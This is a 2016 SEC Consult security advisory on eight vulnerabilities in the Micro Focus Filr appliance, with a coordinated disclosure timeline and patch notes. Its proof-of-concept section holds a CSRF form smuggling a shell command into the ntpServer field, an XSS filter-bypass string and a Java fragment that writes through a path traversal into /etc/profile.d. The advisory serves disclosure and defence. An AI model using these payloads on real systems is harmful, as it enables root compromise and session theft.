Multiple vulnerabilities in Micro Focus (former Novell) Filr Appliance

SEC Consult Vulnerability Lab Security Advisory < 20160725-0 >


title: Multiple vulnerabilities

product: Micro Focus (former Novell) Filr Appliance

vulnerable version: Filr 2 <=, Filr 1.2 <=

fixed version: Filr 2 v2.0.0.465, Filr 1.2 v1.2.0.871

CVE number: CVE-2016-1607, CVE-2016-1608, CVE-2016-1609

CVE-2016-1610, CVE-2016-1611

impact: critical


found: 2016-05-23

by: W. Ettlinger (Office Vienna)

SEC Consult Vulnerability Lab


An integrated part of SEC Consult

Bangkok - Berlin - Linz - Montreal - Moscow

Singapore - Vienna (HQ) - Vilnius - Zurich



Vendor description:


"Unlike other mobile file access and collaborative file sharing solutions, Micro

Focus Filr has been designed with the enterprise in mind, resulting in less

administration, better security and more productive users."





Business recommendation:


During a very quick security check several vulnerabilities with high impact

have been discovered. SEC Consult recommends to immediately apply the patches

provided by Micro Focus to address these issues.


Please note that since SEC Consult did not conduct a thorough technical security

check SEC Consult cannot make a statement regarding the overall security of the

Micro Focus Filr appliance.



Vulnerability overview/description:


During a quick security check several vulnerabilities have been identified that

ultimately allow an attacker to completely compromise the appliance:


1) Cross Site Request Forgery (CSRF) - CVE-2016-1607

Several functions within the appliance's administative interface lack protection

against CSRF attacks. This allows an attacker who targets an authenticated

administrator to reconfigure the appliance.


2) OS Command Injection - CVE-2016-1608

The appliance administrative interface allows an authenticated attacker to

execute arbitrary operating system commands. Please note that an attacker can

combine this vulnerability with vulnerability #1. In this scenario, an attacker

does not need to be authenticated.


3) Insecure System Design

The appliance uses a Jetty application server to provide the appliance

administration interface. This application server is started as the superuser

"root". Please note that combined with vulnerability #1 and #2 an attacker can

run commands as the superuser "root" without the need for any authentication.

For vendor remark on #3 see solution section.


4) Persistent Cross-Site Scripting - CVE-2016-1609

The Filr web interface uses a blacklist filter to try to strip any JavaScript

code from user input. However, this filter can be bypassed to persistently

inject JavaScript code into the Filr web interface.


5) Missing Cookie Flags

The httpOnly cookie flag is not set for any session cookies set by both the

administrative appliance web interface and the Filr web interface. Please note

that combined with vulnerability #4 an attacker can steal session cookies of

both the appliance administration interface and the Filr web interface (since

cookies are shared across ports).

For vendor remark on #5 see solution section.


6) Authentication Bypass - CVE-2016-1610

An unauthenticated attacker is able to upload email templates.


7) Path Traversal - CVE-2016-1610

The functionality that allows an administrator to upload email templates fails

to restrict the directory the templates are uploaded to. Please note that

combined with vulnerability #6 an attacker is able to upload arbitray files with

the permissions of the system user "wwwrun".


8) Insecure File Permissions - CVE-2016-1611

A file that is run upon system user login is world-writeable. This allows a local

attacker with restricted privileges to inject commands that are being executed

as privileged users as soon as they log into the system. Please note that

combined with vulnerabilities #6 and #7 an unauthenticated attacker can inject

commands that are executed as privileged system users (e.g. root) using the Filr

web interface.



Proof of concept:


1, 2, 3)

The following HTML fragment demonstrates that using a CSRF attack (#1) system

commands can be injected (#2) that are executed as the user root (#3):



<input type="hidden" name="ntpServer" value="';id>/tmp/test;'" />

<input type="hidden" name="region" value="europe" />

<input type="hidden" name="timeZone" value="Europe/Vienna" />

<input type="hidden" name="utc" value="true" />

<input type="hidden" name="_utc" value="on" />

<input type="submit" value="Submit request" />







The following string demonstrates how the XSS filter can be circumvented:

<img src='>' onerror='alert(1)'>


This string can e.g. be used by a restricted user in the "phone" field of the

user profile. The script is executed by anyone viewing the profile (e.g. admins).



None of the session cookies are set with the httpOnly flag.


6, 7, 8)

The following Java fragment demonstrates how an unauthenticated attacker (#6)

can overwrite a file in the filesystem (#7 & #8) that is executed upon user login

of e.g. the root user:


String sessionCookie = "sectest";

String host = "http://<host>/";

ProxySettings settings = new ProxySettings();

HttpCookie cookie = new HttpCookie("JSESSIONID", sessionCookie);

settings.setCookieManager(new CookieManager());

settings.getCookieManager().getCookieStore().add(new URI(host), cookie);

settings.setModuleBaseUrl(host + "ssf/gwt/");



GwtRpcService svc = SyncProxy.createProxy(GwtRpcService.class, settings);

VibeXsrfToken token = new VibeXsrfToken(


((HasRpcToken) svc).setRpcToken(token);

String fileName = "../../../../etc/profile.d/";

FileBlob fileBlob = new FileBlob(ReadType.TEXT, fileName, "", 1l, 4, 1l, false, 4l);

fileBlob.setBlobDataString("id > /tmp/profiledtest\n");

BinderInfo folderInfo = new BinderInfo();

folderInfo.setBinderId((long) 1);



VibeRpcCmd cmd = new UploadFileBlobCmd(folderInfo, fileBlob, true);

HttpRequestInfo ri = new HttpRequestInfo();

svc.executeCommand(ri, cmd);



Vulnerable / tested versions:


The version of Micro Focus Filr was found to be vulnerable. This version

was the latest version at the time of the discovery.


According to the vendor, Filr 1.2 is also vulnerable.




Vendor contact timeline:


2016-05-23: Sending encrypted advisory to, Setting latest

possible release date to 2016-07-12

2016-05-24: Initial response from Micro Focus: forwarded the information to Filr

engineering team

2016-06-13: Micro Focus releases patch to address issue #8

2016-06-14: Requested status update

2016-06-14: Micro Focus expects release of the patches in early July

2016-06-30: Asking for status update, answer of Micro Focus

2016-07-06: Micro Focus needs more time to patch issues, release re-scheduled for 15th

2016-07-12: Asking for status update; "final rounds of QA" at Micro Focus

2016-07-16: Postponing advisory release, patch not yet ready

2016-07-22: Patch release by Micro Focus

2016-07-25: Coordinated advisory release





The "Filr 2.0 Security Update 2" can be downloaded here and should

be applied immediately:

Those patches fix vulnerabilities #1, #2, #4, #6, #7


"Filr 1.2 Security Update 3" can be found here:



Knowledge base references at Micro Focus:

Issue #1:

Issue #2:

Issue #4:

Issue #6 & #7:


Local privilege escalation via insecure file permissions (#8) has

already been fixed in the Filr 2.0 security update 1 in June:



Issue #3: According to Micro Focus, Jetty actually runs as user

"vabase-jetty" but will pass commands off to another service on

the box that runs as root to perform privileged actions.

They have fixed the command injection in this release and the

next release will include much more stringent parameter validation

for passing the commands.


Issue #5: According to Micro Focus, a component of Filr does not

function properly when the httpOnly flag is enabled. This will be

addressed in a future release.








Advisory URL:





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EOF W. Ettlinger / @2016